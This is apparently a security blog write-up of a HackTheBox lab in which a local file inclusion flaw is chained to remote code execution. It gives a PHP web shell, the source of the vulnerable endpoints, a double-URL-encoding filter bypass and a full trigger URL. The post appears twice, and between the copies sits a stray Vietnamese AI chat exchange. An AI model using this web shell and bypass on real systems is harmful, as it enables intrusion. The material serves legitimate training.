Chaining LFI to RCE – HackTheBox

8 min read

Problem

This lab is from HackTheBox. The objective is to achieve Remote Code Execution (RCE) and retrieve the flag located in the root directory.

The web application is quite simple. It contains three main tabs: Home, Contact, and most importantly, /apply, which allows users to upload an image file.


Recon

After spending some time enumerating the website, I discovered a suspicious endpoint:

/contact.php

I attempted to test for Local File Inclusion (LFI) vulnerabilities by fuzzing parameters with ffuf. Eventually, I found a parameter confirming that the website was vulnerable to LFI.

At that point, I thought the challenge was basically solved.

However, it was not that simple.

I tried using automated exploitation tools like lfisuite, continued fuzzing with ffuf, and manually tested multiple payloads and bypass techniques in an attempt to evade the WAF. Unfortunately, none of them worked.

The filtering mechanism was extremely strict:

  • Any occurrence of . or / (typical file inclusion characters) was blocked.

  • Sensitive keywords such as /etc/passwd and config were filtered.

I spent around 5–6 hours testing different payload variations but was completely stuck at this stage.


Breakthrough

While taking a break, I asked myself:

Why am I focusing only on that single endpoint?

I went back to the lab and started reviewing the source code more carefully. I tested other endpoints and APIs and eventually discovered a crucial API that completely changed my approach.

I tested LFI on this new parameter — and boom, it worked.

After successfully performing path traversal, I began leaking sensitive files to find something that could lead to RCE. During fuzzing, I discovered an interesting file:

/var/log/nginx/access.log

This indicated that Log Poisoning might be possible.

The idea was simple:

  1. Send a request to the web server.

  2. Modify the User-Agent header to inject PHP code:

<?php system($_GET["cmd"]); ?>

However, it did not execute. The payload was written into the log file but never interpreted as PHP code. It seemed the developers used a safe function like file_get_contents() instead of include().

So log poisoning was not viable.


Reviewing the Source Code

/api/image.php

<?php
if (isset($_GET["p"])) {
    $path = "../images/" . str_replace("../", "", $_GET["p"]);
    $contents = file_get_contents($path);
    header("Content-Type: image/jpeg");
    echo $contents;
}
?>

This confirmed the LFI vulnerability again. The filtering was weak and not properly implemented.


/api/application.php

<?php
$firstName = $_POST["firstName"];
$lastName = $_POST["lastName"];
$email = $_POST["email"];
$notes = (isset($_POST["notes"])) ? $_POST["notes"] : null;

$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$ext = end((explode(".", $file_name)));
$target_file = "../uploads/" . md5_file($tmp_name) . "." . $ext;
move_uploaded_file($tmp_name, $target_file);

header("Location: /thanks.php?n=" . urlencode($firstName));
?>

This revealed something important:

  • Uploaded files are stored in /uploads/

  • The filename is hashed using md5_file()

  • The original extension is preserved

At this point, the plan became clearer:

  1. Upload a PHP shell.

  2. Use LFI to trigger it.

However, there was still one missing piece:

We needed a parameter that used include() instead of file_get_contents() in order to gain execution.

And I found it.


Vulnerable region Parameter

<p>
<?php
$region = "AT";
$danger = false;

if (isset($_GET["region"])) {
    if (str_contains($_GET["region"], ".") || str_contains($_GET["region"], "/")) {
        echo "'region' parameter contains invalid character(s)";
        $danger = true;
    } else {
        $region = urldecode($_GET["region"]);
    }
}

if (!$danger) {
    include "./regions/" . $region . ".php";
}
?>

Now everything made sense.

The first parameter I had spent hours on earlier finally became useful.

Understanding the Logic

  • If the parameter contains . or /, it gets blocked.

  • Otherwise, it is URL-decoded.

  • Then it gets passed into include().

So I thought:

What if we double-encode the payload?

If we encode ../ twice:

../ → %2e%2e%2f
Double encode → %252e%252e%252f

The WAF does not detect . or /.

The server:

  1. Decodes once via urldecode()

  2. Then include() performs another decoding step

This results in successful path traversal.


Final Exploit

  1. Upload payload.php

  2. Calculate its MD5:

md5sum payload.php
eca599d7d063b4d277b7b14e5efe4a6e  payload.php
  1. Trigger execution:
http://94.237.63.176:42783/contact.php?region=%252e%252e%252fuploads%252feca599d7d063b4d277b7b14e5efe4a6e&cmd=id

And RCE was achieved.


Attack Chain Summary

  1. Exploit LFI to read sensitive source code

  2. Bypass WAF using double URL encoding

  3. Upload malicious file

  4. Use include() to achieve RCE


Lessons Learned

  1. Think in terms of bug chaining, not isolated vulnerabilities.

  2. Always explore alternative attack vectors.

  3. Think outside the box.


Nếu bạn muốn mình chỉnh lại theo phong cách blog chuyên nghiệp hơn (ví dụ để đăng LinkedIn hoặc portfolio cybersecurity khi bạn đang theo lộ trình An ninh mạng), mình có thể rewrite lại theo tone “professional offensive security writeup” luôn.

viet bang ngon ngu markdown

Dưới đây là phiên bản được viết lại hoàn toàn bằng Markdown chuẩn (có heading, code block, bullet list rõ ràng, sẵn sàng để đăng blog hoặc GitHub):


Chaining LFI to RCE – HackTheBox

🧩 Problem

This lab is from HackTheBox. The objective is to achieve Remote Code Execution (RCE) and retrieve the flag located in the root directory.

The web application is simple, containing three main tabs:

  • Home

  • Contact

  • /apply (allows file upload)

The upload functionality immediately caught my attention.


🔎 Recon

During reconnaissance, I discovered a suspicious endpoint:

/contact.php

I fuzzed parameters using ffuf and successfully identified an LFI (Local File Inclusion) vulnerability.

At this point, I thought the challenge was almost solved.

However, things became complicated.

🚧 WAF Restrictions

The application implemented strong filtering:

  • Any . or / character was blocked

  • Sensitive paths like /etc/passwd were filtered

  • Keywords such as config were denied

I attempted:

  • Automated tools (lfisuite)

  • Further fuzzing with ffuf

  • Manual payload crafting

  • Encoding variations

Nothing worked.

After spending 5–6 hours, I was completely stuck.


💡 Breakthrough

After taking a break, I reconsidered my approach:

Why am I focusing only on one endpoint?

I began reviewing other APIs and discovered a new interesting endpoint.

After testing it — boom — LFI worked again.

📂 Path Traversal Success

I managed to read sensitive files and eventually discovered:

/var/log/nginx/access.log

This suggested the possibility of Log Poisoning.


🧪 Attempt: Log Poisoning

I injected PHP code into the User-Agent header:

<?php system($_GET["cmd"]); ?>

However, it did not execute.

The log file stored my payload, but the application used file_get_contents() instead of include(), so the code was never interpreted.

Log poisoning failed.


🔍 Source Code Analysis

/api/image.php

<?php
if (isset($_GET["p"])) {
    $path = "../images/" . str_replace("../", "", $_GET["p"]);
    $contents = file_get_contents($path);
    header("Content-Type: image/jpeg");
    echo $contents;
}
?>

This confirmed the LFI vulnerability due to improper sanitization.


/api/application.php

<?php
$firstName = $_POST["firstName"];
$lastName = $_POST["lastName"];
$email = $_POST["email"];
$notes = (isset($_POST["notes"])) ? $_POST["notes"] : null;

$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$ext = end((explode(".", $file_name)));
$target_file = "../uploads/" . md5_file($tmp_name) . "." . $ext;
move_uploaded_file($tmp_name, $target_file);

header("Location: /thanks.php?n=" . urlencode($firstName));
?>

Important observations:

  • Uploaded files are stored in /uploads/

  • The filename is hashed using md5_file()

  • The original extension is preserved

At this stage, the plan was:

  1. Upload a PHP web shell

  2. Trigger it using LFI

But we still needed a parameter using include() instead of file_get_contents().


🎯 Final Piece – region Parameter

<?php
$region = "AT";
$danger = false;

if (isset($_GET["region"])) {
    if (str_contains($_GET["region"], ".") || str_contains($_GET["region"], "/")) {
        echo "'region' parameter contains invalid character(s)";
        $danger = true;
    } else {
        $region = urldecode($_GET["region"]);
    }
}

if (!$danger) {
    include "./regions/" . $region . ".php";
}
?>

🔎 Analysis

  • If . or / appears → blocked

  • Otherwise → urldecode() is applied

  • Then passed into include()

So I thought:

What if we double-encode the payload?


🧠 Double Encoding Bypass

Normal traversal:

../

URL encoded:

%2e%2e%2f

Double encoded:

%252e%252e%252f

Since %252e does not contain . or /, the WAF does not block it.

Flow:

  1. Server decodes once using urldecode()

  2. include() processes the decoded path

  3. Path traversal succeeds


🚀 Final Exploit

1️⃣ Upload payload.php

Example payload:

<?php system($_GET["cmd"]); ?>

2️⃣ Calculate MD5

md5sum payload.php

Output:

eca599d7d063b4d277b7b14e5efe4a6e

3️⃣ Trigger Execution

http://94.237.63.176:42783/contact.php?region=%252e%252e%252fuploads%252feca599d7d063b4d277b7b14e5efe4a6e&cmd=id

🎉 RCE achieved.


🔗 Attack Chain Summary

  1. Exploit LFI to read source code

  2. Identify upload functionality

  3. Bypass WAF using double encoding

  4. Upload malicious PHP file

  5. Trigger execution via include()


📚 Lessons Learned

  • Think in terms of bug chaining, not isolated vulnerabilities

  • Always enumerate all endpoints

  • Review source code carefully

  • When stuck, take a break and rethink

📬

Stay Updated

Get the latest posts, security insights, and tech updates delivered straight to your inbox. No spam, unsubscribe anytime.

No spam
Unsubscribe anytime
Weekly updates

Comments

💬 No account required — Just drop your thoughts below!

$© 2026 Security Blog
[SECURE CONNECTION ESTABLISHED]
$© 2026 Security Blog
[SECURE CONNECTION ESTABLISHED]